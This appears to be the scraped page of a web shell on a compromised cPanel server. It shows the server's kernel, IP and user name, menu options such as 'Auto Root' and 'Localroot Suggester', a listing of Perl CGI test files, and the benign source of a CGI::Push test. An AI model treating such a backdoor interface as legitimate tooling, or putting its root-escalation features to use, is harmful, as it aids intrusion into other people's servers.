Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
CGI /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
Dump.t
221
B
-r--r--r--
2014-12-27 11:49
apache.t
164
B
-r--r--r--
2014-12-27 11:49
autoescape.t
6.13
KB
-r--r--r--
2014-12-27 11:49
can.t
112
B
-r--r--r--
2014-12-27 11:49
carp.t
11.04
KB
-r--r--r--
2014-12-27 11:49
charset.t
722
B
-r--r--r--
2014-12-27 11:49
checkbox_group.t
992
B
-r--r--r--
2014-12-27 11:49
cookie.t
15.64
KB
-r--r--r--
2014-12-27 11:49
delete.t
2.08
KB
-r--r--r--
2014-12-27 11:49
end_form.t
188
B
-r--r--r--
2014-12-27 11:49
form.t
8.83
KB
-r--r--r--
2014-12-27 11:49
function.t
4.79
KB
-r--r--r--
2014-12-27 11:49
headers.t
1.94
KB
-r--r--r--
2014-12-27 11:49
hidden.t
2.14
KB
-r--r--r--
2014-12-27 11:49
html.t
4.75
KB
-r--r--r--
2014-12-27 11:49
http.t
1.44
KB
-r--r--r--
2014-12-27 11:49
init.t
227
B
-r--r--r--
2014-12-27 11:49
init_test.txt
12
B
-r--r--r--
2014-12-27 11:49
multipart_init.t
741
B
-r--r--r--
2014-12-27 11:49
no_tabindex.t
4.08
KB
-r--r--r--
2014-12-27 11:49
param_fetch.t
838
B
-r--r--r--
2014-12-27 11:49
popup_menu.t
627
B
-r--r--r--
2014-12-27 11:49
pretty.t
2.12
KB
-r--r--r--
2014-12-27 11:49
push.t
2.04
KB
-r--r--r--
2014-12-27 11:49
query_string.t
308
B
-r--r--r--
2014-12-27 11:49
request.t
4.02
KB
-r--r--r--
2014-12-27 11:49
rt-52469.t
184
B
-r--r--r--
2014-12-27 11:49
save_read_roundtrip.t
583
B
-r--r--r--
2014-12-27 11:49
start_end_asterisk.t
2.86
KB
-r--r--r--
2014-12-27 11:49
start_end_end.t
2.91
KB
-r--r--r--
2014-12-27 11:49
start_end_start.t
2.94
KB
-r--r--r--
2014-12-27 11:49
switch.t
164
B
-r--r--r--
2014-12-27 11:49
tmpdir.t
1.25
KB
-r--r--r--
2014-12-27 11:49
unescapeHTML.t
875
B
-r--r--r--
2014-12-27 11:49
upload.t
4.69
KB
-r--r--r--
2014-12-27 11:49
uploadInfo.t
2.52
KB
-r--r--r--
2014-12-27 11:49
upload_post_text.txt
3.21
KB
-r--r--r--
2014-12-27 11:49
url.t
3.71
KB
-r--r--r--
2014-12-27 11:49
user_agent.t
362
B
-r--r--r--
2014-12-27 11:49
utf8.t
721
B
-r--r--r--
2014-12-27 11:49
util-58.t
1.03
KB
-r--r--r--
2014-12-27 11:49
util.t
1.22
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!./perl -wT use Test::More tests => 12; use_ok( 'CGI::Push' ); ok( my $q = CGI::Push->new(), 'create a new CGI::Push object' ); # test the simple_counter() method like( join('', $q->simple_counter(10)) , '/updated.+?10.+?times./', 'counter' ); # test do_sleep, except we don't want to bog down the tests # there's also a potential timing-related failure lurking here # change this variable at your own risk my $sleep_in_tests = 0; SKIP: { skip( 'do_sleep() test may take a while', 1 ) unless $sleep_in_tests; my $time = time; CGI::Push::do_sleep(2); is(time - $time, 2, 'slept for a while' ); } # test push_delay() ok( ! defined $q->push_delay(), 'no initial delay' ); is( $q->push_delay(.5), .5, 'set a delay' ); my $out = tie *STDOUT, 'TieOut'; # next_page() to be called twice, last_page() once, no delay my %vars = ( -next_page => sub { return if $_[1] > 2; 'next page' }, -last_page => sub { 'last page' }, -delay => 0, ); $q->do_push(%vars); # this seems to appear on every page like( $$out, '/WARNING: YOUR BROWSER/', 'unsupported browser warning' ); # these should appear correctly is( ($$out =~ s/next page//g), 2, 'next_page callback called appropriately' ); is( ($$out =~ s/last page//g), 1, 'last_page callback called appropriately' ); # send a fake content type (header capitalization varies in CGI, CGI::Push) $$out = ''; $q->do_push(%vars, -type => 'fake' ); like( $$out, '/Content-[Tt]ype: fake/', 'set custom Content-type' ); # use our own counter, as $COUNTER in CGI::Push is now off my $i; $$out = ''; # no delay, custom headers from callback, only call callback once $q->do_push( -delay => 0, -type => 'dynamic', -next_page => sub { return if $i++; return $_[0]->header('text/plain'), 'arduk'; }, ); # header capitalization again, our word should appear only once like( $$out, '/ype: text\/plain/', 'set custom Content-type in next_page()' ); is( $$out =~ s/arduk//g, 1, 'found text from next_page()' ); package TieOut; sub TIEHANDLE { bless( \(my $text), $_[0] ); } sub PRINT { my $self = shift; $$self .= join( $/, @_ ); }